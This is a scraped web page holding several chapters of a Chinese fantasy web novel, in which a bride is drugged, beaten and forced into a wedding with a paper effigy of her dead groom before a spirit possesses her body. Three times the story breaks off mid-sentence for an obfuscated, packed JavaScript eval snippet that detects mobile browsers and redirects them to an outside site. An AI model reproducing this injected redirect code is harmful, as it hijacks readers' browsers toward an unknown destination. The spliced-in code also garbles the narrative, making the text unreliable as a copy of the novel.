主仆二人告别锦绣阁,又在外面逛游,时间快到午时,才想起回府吃饭。 只是刚过一条街,水央就伸着指头,惊喜道:“小姐快看,那是不是远山观的小师傅?” 街巷车水马龙,多是归家去的人。布衣青衫的小道士不安地站在路上,看见小摊上宰肉的屠夫,连道“罪过罪过”,瞧见街边穿着清凉的女子,也道“罪过罪过”。 必诚头回踏入俗世,只因奉观主之命,特来寻人。 观主说,他只要站在这个路口,那人便会自行找过来。 真有这么神奇?必诚只晓得自己在路口已站了半天有余。 “小师傅!” 水央突然在他背后叫喊,吓得人心脏突突。 必诚连忙转过身来,见是那日来过观中的那对主仆,他紧绷的神经才稍稍放松。 “小师傅没事吧?”余菀意上前道,“你怎么会孤身一人在这里呢?可是遇到了什么难处?” “我......”必诚打量她一眼,低头回道,“施主,必诚在等一人。” 余菀意不解道:“等人?等什么人?需要我们帮忙吗?” 必诚摇摇头,礼貌答:“不用了,施主。我想我可能等到了。”观主有言在先,无论那寻来之人,衣着如何,身份如何,都是他所等之人。 余菀意没品出话里的意思,必诚就从怀中拿出一个锦囊给她。 “这是什么?” “必诚不知。” 余菀意打开锦囊口子,看到里面放了一张纸。 “小姐,我知道了!”水央插话道,“您说会不会是观主听说了将军府的喜事,他在观里不便过来,所以借锦囊妙语恭喜你?” 毕竟在观里生活的那几天,观主对她们礼遇有加。 余菀意闻言一笑,未等开口,必诚先不合时宜地扫兴道:“施主,我想大概不是.......” 水央不高兴听,反问他:“如果不是,那还会是什么?我们夫人为了小姐的婚事,后来还去道观祈了好几次福呢。” 必诚不善辩解,但仍坚信里面不是恭喜之语,就凭观主让他下山时,那双浑浊的眼睛包含太多复杂的情绪。可究其原因,必诚愚笨,悟不出来。他只得叹气道:“两位施主,时辰不早了,必诚该回观了。” 小道士转身离去,余菀意再次看向手中的锦囊。 里面的纸折得方正,拿起展开,雪白的纸面用浓墨写了两句话: 风卷残荷不见船,鱼困深潭露骨白。 看清的刹那,余菀意的手如同触电似的,纸张落在地上,随即被风吹走。水央想跑几步去捉,可担心追远了,会跟丢主子。 “小姐,观主写了什么?” “没.....没什么!”余菀意避过目光,神情不自然。 这八个字浅显易懂,即便没读过多少书的人,也能明白其中暗含的不祥之意。 她和远山观无冤无仇,为什么要写骇人的纸条给她?又或者......是必诚师傅等错了人吧! 对!他等错了人,这锦囊绝不是给她的! 余菀意擦了擦汗,因路上出了这茬,回府的时间也有所拖延,本以为姚氏会过问她们两句,没想到多心了。 与颦夫人自从跟余家定好婚期,姚氏就抓紧时间置办嫁妆,头一回筹备,生怕哪儿缺了去。她通常早上送别将军出府,转头就开始忙碌此事,一忙起来就忘了时间,今天尤其是。 一天几乎见不到三面,姚氏正在衡量婚宴当天定哪些菜式,请哪家厨子。难得闲下来了,才会私下找莞意谈话,问她对自己大婚有哪些期待之处? 期待自然是有的,可姚氏已力所能及做到最好,她不想再提多的要求。 这次逛街回来,她还主动去找余初琼,送上了笑春风的玉露。 余初琼拿着新的玉露,看了一遍又一遍。她从不在意物品的价值有几分,只要是姐姐送的,她都喜欢。 她一直对姐姐言谢,余菀意却多了几分心虚,她上次“恶向胆边生”,幸好及时止损,否则定然酿成大错。 “姐姐,你真的打算要嫁他了,对吗?”临别,余初琼问了这句匪夷所思的话。 “对啊。”余菀意定眼瞧她,含笑问,“你会祝福我吗?” 余初琼愣了下,随即说:“是,我会祝福你。” 又过了几天,宫里就来人到将军府送嫁衣了。 因是国主赐婚,嫁衣也由宫廷绣娘日夜赶制。 烫金的红色长裙鲜艳如牡丹,华贵而娇俏。余菀意拿起来,看了一遍又一遍。 她在余府的日子,如今是过一天少一天。本想在成亲前,和未来的夫君见一面,但将军夫妇说于理不合,所以只能作罢。 没关系,等他们在一起了,有的是时间相处。以后他阅书,她点灯。他用膳,她布菜。 在周良喜和水央的帮助下,她换上这身衣服,在房间里转了几个圈,心满意足。 “阿圆,你穿上嫁衣真漂亮。”周良喜对她露出会心的笑意。 余菀意笑道:“不用羡慕,往后你也一定会嫁得如意郎君,过上自己想要的日子。” 这句话让周良喜脸上的笑容变得有些牵强,她似乎对终身大事没有向往。 余菀意忧心看她一眼,不知从何时起,她感觉阿喜变了,变得有些奇怪,时常盯着地上发呆,表露几分忧郁。好像自己先前的病,转移到她身上了似的。 其中必然有个原因,余菀意打定主意要问清楚,怕她不肯坦白,还支开水央,房里只留她们两个。 “阿喜,你告诉我,是不是你爹找来了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963686|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周良喜一愣,飞快摇头道:“不是的,阿圆。他没有找来,也不知道我在这里。” 余菀意道:“既然不是,那你告诉我,你到底怎么了?如果把我当朋友,就不要瞒着我。” “我.....我没有想瞒着,我挺好的。”周良喜低声说道。 “什么叫‘挺好的’?你真的觉得自己‘好’吗?你有烦恼就和我说啊,我能帮到,必然会帮的。”余菀意保证道。 也许这话让周良喜感到放松,房里没有外人,她思索再三,终于开口:“阿圆,我有想过要告诉你,但我害怕,我怕说了对大家都没好处......” 好友神色突然凝重,余菀意也紧张起来。 “阿圆,你要出嫁,我真心为你感到高兴。还有将军和夫人,他们都是好人,你们都会有好报的。我很喜欢这里,你们都是我的贵人。”周良喜说了一串好话,不自觉眼泪簌簌,“可是阿圆,这里千好万好,有一件事你们不知道......” “什么事?”余菀意听得分外认真。 周良喜张望一圈,确定环境安全,她贴过去,嘴唇一开一合。 但声音太小,余菀意复问一句:“什么?我听不太清。” 周良喜道:“也许你还没明白我的意思,我是说.....” “姐姐,听说宫里送嫁衣来了?” 外面突然响起余初琼的声音,屋里的人霎时止声。周良喜如同惊弓之鸟,难掩脸上的慌张。 余初琼大大方方地出现,她脸带笑意,完全没意识到自己打断了旁人的密谈。许是察觉到气氛不对劲,不解地询问一句“怎么了?我来的不是时候吗?” “......没有。”余菀意道,“我们随便聊天呢。” 周良喜亦低声跟了句:“我们......我们没说什么.......” 的确没说什么,因为未说完的话,余菀意没有听清。要就此作罢吗?可难得阿喜愿打开心扉。 “阿喜,要不有话你就直说吧。大家都在,如果是遇到难题,好多一份心帮你参考。” 这次换成周良喜震惊地看着她,嘴巴微张,却什么都说不出。 余初琼察觉到这份尴尬,搭了个台阶道:“我来就是想看看姐姐的嫁衣,不知道你们有悄悄话要谈。” 周良喜着急道:“没有,我们没谈什么。” 她迫切地解释,想留住余初琼。 “我......我就是在外头找了个活,想告诉大家要搬出府去!”周良喜一鼓作气说完话,手揪着衣摆皱巴巴。 “你要搬出去?”余菀意闻言,拉起她的手,“你要搬去哪里?这是什么时候决定的事?怎么之前从未跟我提起过?” “阿圆,我很早就决定了,对不起......现在才告诉你。”周良喜无奈道。 “不是,你在这儿待得好好的,为什么要搬出去?”余菀意不依不饶,“还是因为你觉得我嫁出去了,你就不能继续留在这里?可我早就打算好了,水央会陪我一起,你也跟着我一起,我们还能像现在这样朝夕相处。” 她话语真诚,盼望能因此改变阿喜的想法,但最后,还是换来了她的摇头。 “阿圆,我心意已决。”她坚定道。 余菀意还要说,旁边的余初琼柔声劝道:“姐姐,人各有志,阿喜妹妹想出去看看也是人之常情,但不管如何,余府永远都是她的避风港。” 周良喜没有说话,但看她的眼神便知这个决定不像随口提起的。余菀意深深地看了她一眼,心中虽有不舍,也只能道:“好吧,这是你的决定,你的想法,我应该支持你。” 18. 风卷残荷不见船 婚期一天一天逼近,余家长女终于在腊月大婚。 这天天未大亮,余菀意就被拽出床铺洗漱。 因她当时过于期待,后来的锦阕仙子无论留在人间还是回了天上,都记了好长一段时间。不为别的,只因当时那份对幸福的憧憬太过真切,足以让她记挂许久。 姚氏在这大喜日子忙得脚不沾地,一会儿催这边,一会儿喊那边。 所有人都围着新娘转,深怕乱了少了错了什么。 而周良喜在余菀意大婚前搬出去了,隔天求人传过一句口信,说是在一个点心摊子打下手,生意好,忙得不可开交。就连之后好友成婚,都腾不出时间送她上轿,不过却托人送了礼物来。 那是一个做工普通的小玉扣,没什么别致的地方,但余菀意还是无比珍惜。 阿喜身无长物,这玉扣普通但也不便宜,定是她提前支了工钱买的。 虽然余小姐是以侧室身份嫁入齐允王室,但府中的出嫁婚俗仍是按正室的办。到了出门的吉时,新娘头顶红盖,身着华衣,在亲人的的搀扶下,进了花轿。 至此,众人还未见新郎官露面。因其身份特殊,虽有言语,也只能当两边礼俗不同罢了。何况将军夫妇都不曾对外人特意讲过,旁人也一心认为余小姐是去当正位夫人。 将军看着远去的花轿,心中感慨良多。 姚氏揶揄一句:“将军既舍不得闺女,为何昨日不拉着她再说些话?” 将军扭过头,道:“有什么好说的?这儿是她家,她总会回来的。” 花轿不往王宫走,国主早为这对新人赐下一座宏伟的园子,供他们完婚。 迎亲队伍不长,路上偶有小孩跟着花轿,都会高兴地喊着“嫁新娘喽!嫁新娘喽!” 余菀意端正地坐在轿中,心里七上八下。今天是她大喜之日,她本该为此高兴,可越往远处走,她就越感到不安。 到底是什么原因催动她的第六感?余菀意不得而知。 花轿落地,门口放起火红的鞭炮。新娘在红盖头下什么都看不到,水央和接亲的嬷嬷扶她下轿。 没看到新婚夫君,也没有一拜天地。她被安置在新房里,双手交叠,安安静静。 外面是什么情况?她都没听到吹锣打鼓以及宾客贺喜之音,只有嬷嬷在床前朗声念了几句祝福词,然后端过一碗甜汤,请她喝下。 余菀意接过,就这红盖,轻轻抿了一口,因怕弄花了唇脂,故也不敢多喝。 严嬷嬷又说了,这是要新夫人全部喝完的,糖水甜,喝得越多,以后的日子更甜。 为了讨个好彩头,余菀意只得听话饮尽。 在这之后,新娘唯一能做的事就只剩等待,等待这一天结束,等待和夫君相见。 严嬷嬷和她说了一会儿话,多是齐允的事。可声音糊里糊涂的,余菀意越听越困。 新婚前夕她没睡着,今早起来的时候,姚氏都说她两眼乌青。现坐在软绵绵的床上,伴着朦胧的话语声,她终于熬不住睡意。 那碗汤水太甜腻了,甜得她后来分不清现实与梦境,只记得自己孤零零站在园子里,却在努力赶路。 她不知道将要跑去哪里,越跑越急,好似身后有人追她。可无论怎么跑,她都跑不到尽头。天昏地暗间,身后的那串脚步声越来越近,她突然被吓醒了。 新房里静得出奇,新娘依旧盖头遮眼,仰面躺在铺有鸳鸯大红被上。 “水央?水央?” 无人回应她。再三犹豫,余菀意擅自掀了盖头,定睛往周边看去。 这一看,窗外黑云翻墨,未见一丝天光。 她大惊失色,虽知睡着是自己的不对,但也不该直接睡过了时辰,而且都没人提醒她,任她一个人睡个痛快?!最重要的是,新婚夫君不在身边,甚至作为贴身丫鬟的“水央”也不在身边。 屋内红烛摇曳,余菀意等不到人,独自走了出去。 华美的园子,透露出死一般的沉寂,只有回廊上挂的几盏大红灯笼,让她窥见几分喜庆。 其他人都到哪儿去了?她扶着墙,孤身走过假山游廊,却见不到一个活着的人。这里太大了,她走过哪条路也不清楚,只能继续走着。 时间一点一点过去,越见不到人,她越是忐忑。好在运气不错,她终于在对面廊下瞧见一个仆人。 余菀意紧绷的神情终于得到缓解,正要张口叫喊,却见那老嬷嬷手里似乎抱着个东西。 那东西长得像人,但只有一半高。它身穿喜服,胸系红花,做工之精巧,简直惟妙惟肖。 余菀意顿时冷汗津津,这种渗人的玩意儿,大半夜带着它不嫌晦气? 那嬷嬷飞快地走着,马上闪进一座小院。余菀意忙跟过去,要看看他们的惊天秘密。 这座小院比新房所在的规模要小些,院内红绸挂起,严嬷嬷将纸人恭敬地送到与颦夫人身前。 “夫人,奴才仔细挑过三回了,那纸扎铺的老板做来做去,就数这个最俊。” 与颦夫人这回穿着朴素,坐在椅上,瞧了那纸人一眼,轻声道:“总归挑了一段日子,我看也做不出花样来了。这个是比前头那几个好些,可终究没那么像阿延......” 余菀意躲在院外,透过石墙上的空心窗,清楚看见院里发生的每一幕。 公子延卿在哪儿?姨母为何说出这番话? 不容她细想,与颦夫人就已拭了泪,而后轻咳一声,让人把堂内某块大红绸布掀去。 原想这布是覆盖长桌之用,谁料红布落地,竟露出底下一副黑色大棺。 上面取材之昂贵,雕刻的花纹复杂多样。与颦夫人见了棺木,当即又要哭过去。 嬷嬷出言道:“夫人节哀,人死不能复生的道理您是懂的!老奴说再多安慰的话,也排解不了您心中的悲痛,可是公子心善,若在九泉之下有知,肯定也会悔恨自责的!” 与颦夫人捶胸道:“我的阿延,性子像我长姐温和,老天却不如人意啊,我们什么都没争,他收了我阿姐不够,又收了我阿延。我外甥那么优秀,要不是早逝了,那余家丫头怎配得上他!” 夫人的话一字不差落入墙外人的耳中。 深冬的夜晚,是无法言喻的寒。即使繁复的嫁衣下,余菀意穿了不少御寒之物,此刻仍觉得手脚冰凉。 她不知自己该作何反应,与颦夫人前不久还和和气气拉着晚辈谈话,今朝种种,仿佛变了个人。 还有公子延卿....... 余菀意从石窗的边角处偷望,显眼的黑色棺木赫然在提醒她,他死了。 她的新婚夫君,死了! 与颦夫人擦干眼泪,重新振作起来,命令身边的嬷嬷:“时辰差不多了,你去看看余家丫头醒了没有?别误了阿延拜堂。” 严嬷嬷道:“夫人放心,奴才给她那碗蒙汗药,她喝了倒头就睡,这会儿还昏沉着呢,我现在就去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963687|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把人带来。” 事到如今,余菀意缩在墙边,还有什么不明白的? 新婚宅院表面上悄无声息,实则危机四伏。 她头痛得厉害,一阵接一阵眩晕扑面而来,伸手拧了自己手臂一记,回应她的是真实的疼痛。 与颦夫人沉浸在悲痛中,老奴才刚去新房抓人,余菀意脑海里疯狂冒出一个念头,就是快跑! 趁没人发现,她提起裙摆,在宅院中寻觅出口。 她心急如焚,跑得满头是汗,厚重的嫁衣压得她喘不过气,纵有万般不舍,她也只能拔去金钗,脱去喜服,以此换个轻便。 可在穿过好几座垂花门,都没找到所谓的大门。那回廊上高挂的红灯笼散发着诡异的光芒,仿佛都在嗤笑她的愚蠢。 “新夫人不见了!新夫人不见了!” 这阵呼叫打破周围的死寂,余菀意停止奔跑,闪身躲进附近的假山石群里。 漆黑的屋舍突然亮起明灯,数个不知从哪儿冒出来的下人举着火把,快速在园里聚集。 严嬷嬷吼道:“新夫人肯定没有跑远,琳琅园占地颇大,我都摸了好几天才熟悉方位,她顶着盖头进的园,现在必定躲在角落。大伙赶快找找,否则找不到人,咱们都得给公子陪葬!” 嬷嬷的大嗓门,传到余菀意的耳朵里,她一颗心沉到谷底。想必从与颦夫人拜访余府的时候,这场阴谋就已注定。 下人的火把成了她躲避的信号,余菀意弯腰脱了鞋袜,尽量减轻走路的声音,当温热的脚掌踏在冰凉的石砖上时,她忍不住打了个冷颤。 琳琅园的小路错综复杂,她穿过一座又一座小院,终于发现一扇后门。 眼看火光越来越近,她推拉不开,就想先躲起来再说。无奈四周空空,天要绝人之路。 夜风徐徐,几乎吹凉了她的心。 在天书呈现的画面中,妄一见到了仙子的崩溃。 耀眼的火光原本代表希望,那是却像极了一道道催命符,冲无辜的女子而来。 “找到人了!找到人了!” 一簇簇火光迅速往这边靠拢,余菀意拍门的动作愈发用力,既然都被发现了,那就借助庞大的声响去吸引园子外的人。 “救命啊!救命啊!有没有人来救救我啊?!” 这是她一心要扎进来的牢笼,现在又要豁出一切要逃出去。 这是个阴谋!这是个谎言! 严嬷嬷带人找过来,擦了擦额上的汗,冷笑道:“新夫人真叫咱们好找,不过我劝您还是省点力气吧,国主赏赐园子时候,咱夫人特意求了座远的。您就是把手拍烂了,也没外人听见呐。” 冬夜降了寒霜,余菀意双耳冻得通红,悲戚地朝天大喊一声,不死心地扒着门缝,哭喊道:“有没有人?快来人啊!救救我啊!” 被带回去的下场是什么?要她和一个人死人拜堂吗?然后呢?她也要一块儿去死吗? 俩婆子在严嬷嬷的授意下,上前来捉她。 “放开我,我是戊斯大将军的女儿,你们怎能随意动我?!” 严嬷嬷不屑打理,叫人拿来在路上捡到的首饰衣裳,快给她打扮上。 余菀意挣扎着,婆子们用力钳住她的双臂,让她动弹不得。 她用尽力气嘶吼着,那扇原本不动的后门,从外面“咔嚓”响了一声。 余菀意听出这是开锁的声音,心道自己没有白喊,一定是有人来救她了! 19. 鱼困深潭露骨白 “一群饭桶!找个人都磨蹭磨蹭,我养你们何用?!” 木门一开,与颦夫人抱着黑色金字的牌位出现在众人视线,当她看向余菀意时,已没了当初的和善。 余菀意两眼发愣,原来她拼死拍击的不是出口,而是通往另一座院子的入口。自己无论怎么扑腾,都被困在这座精密的牢笼。 严嬷嬷上前讨好道:“夫人莫气,今日是公子大婚。老奴这就给新娘打扮好,保证不误了吉时!” 与颦夫人闻声不动,眼神聚焦在余菀意身上,见她头发糟乱,还打着赤脚,不由感到嫌恶。若不是阿延没了,事情紧迫,像她这样的,怎么够格做世子夫人? 有关琳琅园的事,嬷嬷叮嘱下人们不许声张,若是走漏半分风声,不管是哪个多嘴的泄露,他们这帮人全部完了! 下人们唯唯诺诺,连忙道了句:“不敢。”今晚不是新夫人逃了,他们都被下令要老实待在屋里睡觉。 敬畏之下,一帮人的手脚都利索起来,他们把新夫人打扮好,七手八脚地押过去。 堂上红烛高高燃起,烛火跳跃间映得满室喜庆,与颦夫人正襟危坐,神色肃穆,全无办喜事的欢愉。 余菀意口中被塞了布团,望向墙上贴的“囍”字,满目都是讽刺。 红绸花绳的两端,右边是她,左边是身着喜服的纸人。 随着严嬷嬷那句“一拜高堂”,她笔直的双腿,被人踹了一脚才跪下。 熬到荒诞的婚礼草草礼毕,下人将她架回大红色的新房,扔上婚床。和她一起的,还有那个诡异的,毫无生气的纸人新郎。 余菀意心中悲苦,刚摘掉嘴上的布团,就跳起来破口大骂,还将床帐扯塌,弄得屋里鸡飞狗跳。 与颦夫人脸色更加不太好看了,如果不是阿延未有子嗣就病逝,她何必千辛万苦隐瞒消息?而且情急之下,一错再错,给外甥寻了个这样能撒泼的妻子...... 她忍着怒火,命人将余小姐拖出来。 余菀意被好几双手拖至桌前,脑袋被死死按在冰冷的案上。她双眼湿润,此时俨然明白了锦囊中的真言之意。 与颦夫人遵守承诺,愿许她荣华富贵,届时回了齐允,依旧会为余小姐求得正位。当然条件是希望她能保守秘密,并为公子顺利诞下麟儿。 死人的麟儿要如何得来?与颦夫人并未多做解释。 余菀意嘲讽一笑,她嫁给凌延卿,图的是那点王室尊荣吗?说到底,她还是不愿相信夫君亡故的消息,明明九月廿九,他们还在远山观见过面啊! 与颦夫人只当余小姐疯了,九月廿九那天,她坐在床头亲眼目睹外甥断气,哪来的远山观会面? 倒是有一回,外甥病重到无医可治了,她派马车去宫外的远山观求方子,可空车去,空车回,观主只是隔空赐福,不再跟随进宫。 “余小姐,能嫁给我们阿延,是你的福气。你若听话也就罢了,我让你好好活着,你若不听话,我有的是办法对付你!”与颦夫人拿过一旁的喜称,戳在余菀意的太阳穴上。 “你骗人,你们都骗人!”余菀意睁着双眼,大叫道,“我不会受你们摆布的,我要见公子!我要见凌延卿!” “余小姐听不懂人话?你看见了阿延的灵堂,还要装疯卖傻?”她敬酒不吃的模样,让与颦夫人火冒三丈。 余菀意继续叫唤:“我不信,这不可能!他一定还活着!是你们搞了一场骗局来愚弄我!” 与颦夫人懒得跟她解释,一声令下,她被五花大绑的捆在椅子上。除了肚兜亵裤遮蔽羞处,其余之处都被脱了个干净。 余菀意满脸羞愤,她从未受过这等屈辱,当婆子孔武有力的手掌落在她脸上的时候,她差点双耳失聪。 “清醒清醒吧,余小姐。”与颦夫人吐了口浊气。 房间里的耳光声此起彼伏,中间停手片刻,余菀意还死瞪着人不肯屈服。 “阿丽,继续给我打!打到她开窍为止!” 阿丽得令,咬紧牙根,手下愈发使力。 余菀意嘴角流出涓涓鲜血,脸上浮肿不堪,渐渐没了神志。 严嬷嬷过去一探鼻息,确认她没死。 与颦夫人点点头,心想这丫头就是吃硬不吃软。若不使这雷霆手段,还真降不住这头倔驴。 夜已过半,与颦夫人也累了,草草让人收拾一番,把余小姐扔进去和纸人同衾,今夜总算落幕。 天书上的画面就此停止,书页合拢,如先前未启封那样。 莲烨门鸦雀无声,妄一轻轻掐着手指,许久没有说话。 狐狸亦跟着看完全过程,趴在旁边问大人有何见解? 妄一仰天长叹道:“仙子接触的人众多,我只留意近期发生的事,到底是谁从中作梗,暂时不好下定论。”而且他这会儿颇为同情,毕竟好好的天宫仙子,竟被打成这样。 罢了,莲烨掌门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963688|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有一个任务,便是去人间揪出从中作梗者。妄一一刻都不耽搁,但要出远门,需得做足万全之策。 “司命老爷让我不要声张,所以为仙子奔波至人间,我也不能从鬼京正门走,得想个法子才是。” 这一去怕要滞留几天,换了别的掌门,大大方方批个请示就行,可偏偏管出入口的是御朝门。 每逢莲烨掌门出入,御朝掌门必定吩咐手下,要把他像个罪犯一样,来来回回地盘查。等盘查完,锦阕仙子都不知在人间凉了几回。 这两位掌门不合多年,每每相见都不给对方好脸色。因何结下的梁子?妄一觉得纯属是承英没事找事。 阿辞道:“您是铁骨铮铮,不肯和看门的那位低头,正门出不去有什么打紧的?那咱们就走偏门呗。” “是啊,我正有此意。”妄一点头道,“算来南路狱有批囚徒刑满将带去地府投胎,我想或许可以混在其中......” 阿辞支持道:“大人聪慧至极,马上就想到了。您要走,我一定全力掩护,务必保证出行顺利。” 妄一郑重叮嘱::“我是要出去了,但我不在的时候,还得请阿辞你尽力替我照管好莲烨门。另外,我干这事,千万保密。” 阿辞嗔怪道:“您还信不过我吗?这点小事我要做不好,枉费活这么多年了。” 他们一拍即合商量好,有狐狸的满口保证,妄一少去许多顾虑,事不宜迟,立刻火急火燎赶到南路狱。 来得早不如来得巧,那批囚犯正带好了手铐脚链,被狱卒拉出牢门集合。 妄一装模作样来指点江山,趁狱卒溜号的间隙,他扯去发上红绳,瞬间化作女囚,悄无声息地藏进队伍中。 此行共二十四人,阿辞远远跟在后面照应。 到了鬼京门口,几个看门的守卫想例行公事,检查囚犯有没有夹带私货出去,可那狱卒说,快到这群死鬼投胎的时间了,晚了怕误了时辰。 阿辞也不怕死的在后头嚷嚷:“好了没啊?御朝门这办事效率,咱们后头一堆人急着出去呢,磨磨唧唧的,队伍要排到苍鸯殿去啦。” 守卫瞪了一眼,本想过去威吓他,但狱卒也在旁边催促,只好做个记录就放行了。 妄一顺利出逃,在僻静之地脱离队伍后,阿辞跟上来一抖身躯,幻化出庞大的狐狸原形载她出发。 速度之快,迎面吹来的风使人睁不开眼,只一会儿,便到了人间琳琅园。 20. 初入凡间琳琅园 人间此时夜色未褪,有风吹过,宅院里的灯笼摇晃几下,晃出细碎的光影。 新房内烛光昏沉,妄一蹑手蹑脚往婚床探去,看见躺着的人后,心情五味杂陈。 余菀意双颊乌青肿胀,嘴角还凝着干涸的血迹。 妄一体贴地从怀中掏出个瓶子,星星点点地撒了药粉落在她脸上。 这是莲烨大人常年携带,可治绝大多数外伤的神药,也是善药所“药郎仙”的招牌之一。 静候片刻,余菀意的伤处就消了肿,但那些人下手太过狠毒,脸上两块醒目的高原红要隔日才能完全褪去。 阿辞把大人送到此处,不急着回去,舔了舔爪子,问大人如何帮仙子扭转困境? “我不能在人间久留,暴露踪迹怕被人瞧去。要帮她,需得先附了她身才好有所动静。” 何止这些?妄一想在此地停留,还不可动用法术,否则某位大人察觉到他的气息,闻着味儿就能找过来质问。 魔高一尺道高一丈,妄一寄希望于神笔,打算借用仙君的法力。 此物非凡品,妄一试过了,执笔者只要正确书写符文,就能使其生效,不似凡间道士,写点符文要消耗自身修行。 路上,妄一在狐狸脊背回忆修习过的符咒,少是少了点,但大体应该够用。 她扯了张宣纸,无需朱砂笔墨,凝神提笔划过,便能显出真迹。 因动作太过行云流水,待写完,狐狸想褒奖几句,但见成品上,那歪歪扭扭好似蚂蚁爬动的痕迹,还是告辞吧。 妄一举着纸,对着烛灯欣赏起来。讲真的,画符不是他擅长的领域,何况多年未碰,能画成这样,已是非常不错。 她拿上易身的符文,对仙子贴去。 平平无奇的纸张,在一阵光晕过后,颜色忽而变得灿烂,还有流光旋转。这表明仙子的魂魄已经跻身于纸,床上的躯壳已经空荡。 妄一深吸一口气,按余菀意的姿势平躺下。 待掌握了身躯的控制权,她睁眼看见的是阿辞焦急的脸。 “不用担心,易身符文的效力还是不错的。” 妄一坐起,撕下适才贴在身上的纸,本想妥帖收好,但想了想放在这里不太安全,便交与阿辞,道:“这东西分外要紧,关系到仙子的安危,有劳你保管了,到时我还要将仙魂送还。” “哦哦,大人交给我就是!”阿辞赶忙应声。大人要顶着新壳子活动,他还帮忙搀扶一二。 梅染的回纹边地毯上,妄一重新审视这具新身体。 原先的婚服已被剥去,孤零零地挂在床边的衣桁上,灿如朝阳的裙角上绣有几株栩栩如生的并蒂莲,此刻却显得有些凄凉。 阿辞饶有兴趣地指点道:“就这身镶珠刺绣华而不实的衣裳,同是红色,万不如大人在鬼京那身英姿飒爽。” “......这你就不必奉承我了。”妄一挑眉看他,“嫁衣是多少女子望穿秋水等来的,成亲就那么一日,自然不追求实用。” 她轻轻摸索着衣料上的红纱,细软又有质感。若非今日,别说婚服了,就是普通的衫裙,妄一也没机会摸一次。 阿辞讪笑几声,还想再说什么,耳朵一抖,仿佛听见外面的脚步声,并且气势汹汹的,还不止来了一个。 妄一朝外看了一眼,窗外天色将要露白,用脚指头想想也知道来者是谁。 “你先回去吧。”她对阿辞挥挥手,“这些人我应付得了。” “好嘞!”阿辞欲要撤退,但一想,又退回来,从身上拿出本东西,交给大人。 以为是什么防身用的秘籍,定睛一看,竟是《宅斗速成大全》。 “你......”妄一的表情有些奇妙,“你给我这个东西做什么?!” 阿辞“嘿嘿”一笑,道:“我想您可能用得着!”语罢,他就缩小狐狸身,一闪不见踪影。 妄一想阔步捉住他尾巴,可他前脚走,与颦夫人的手下后脚就推门进来。 无法,她拿着这本《大全》像烫手的山芋,慌忙踢进桌布底下,然后才一脸镇定地迎接浩浩荡荡涌进的一帮人。 为首的是严嬷嬷,她站在最前头,鼻孔对着人。 “余小姐起得真早。” 夜里那样一闹,余菀意的泼辣给她留下深刻的印象,夫人回去后还生了好一会儿气,她废了老鼻子劲才哄好。 没办法,做下人都是这样,主子顺心,下人才会顺心。 “嗯,你们也早啊。”妄一语气淡淡。 严嬷嬷强挤了一个笑,顶着那对硕大的眼袋,她根本就没睡着。 “余小姐,夫人让您考虑的事,考虑得如何了?夫人还等老奴回话呢。”这是主子交给她顶顶重要的事,她期盼余家小姐最好识相些,双方也好省些力气。 妄一睨了一眼,明白她所提何事。哼,话说得好听,让人家考虑,带这么多帮手过来,她不答应也得答应了。 妄一不爱被人拿捏,她有将宅院闹翻天的本事,但真这么做了,司命老爷恐怕瞪着眼睛就找来了。为避免多生事端,她还是弯起唇角,因脸上挂着彩,即便是笑,也带了讽刺的意味。 “嬷嬷来得巧,我正愁不知怎么找你们去。夫人的提议,我仔细考虑后,倘若承诺为真,那我依你们就是了。”妄一来人间只为找出篡改命运之徒,别的与她不相干。能省一事,就省一事。 严嬷嬷盯了半晌,见其情真意切不似作假,眉头上的皱纹也平复了些,露出和颜悦色的表情。 昨晚闹得够呛,余小姐泼辣倔强,夫人回去还喝了好一壶安神汤。想着余小姐若还是执迷不悟,那就继续软禁,不给吃不给喝,没过几天也就松口了。 现在好了,提前松口了,她也能和夫人交差,就是这转变的态度是否过于爽快?昨晚小妮子弄得是烈女的排场! 妄一观老奴才的神情,大抵明白对方在想什么,冷笑道:“我不同意要收拾我,我同意了又要怀疑我。唉,到底是谁难伺候?你们想要个空壳主子,而我也只是想要荣华富贵。大家各取所需,有何不可?” 不错,没了丈夫能如何?“王室头衔”是多少贵女心驰神往的事,走出去甩官宦人家几条街,腰杆都挺拔些。 能屈能伸为俊杰也,妄一的话成功打消严嬷嬷的疑虑,她连连应声:“您想开了就好!”心里却想余小姐的坚持不过尔尔,终究敌不过夫人庞大的利益诱惑。 “我答应了你们的事,你们也别忘把我那丫鬟放了。我要在这里住下,她伺候我最久,也最熟悉我的喜好。”妄一抓了把桌上的红枣,捏在手里瞧。 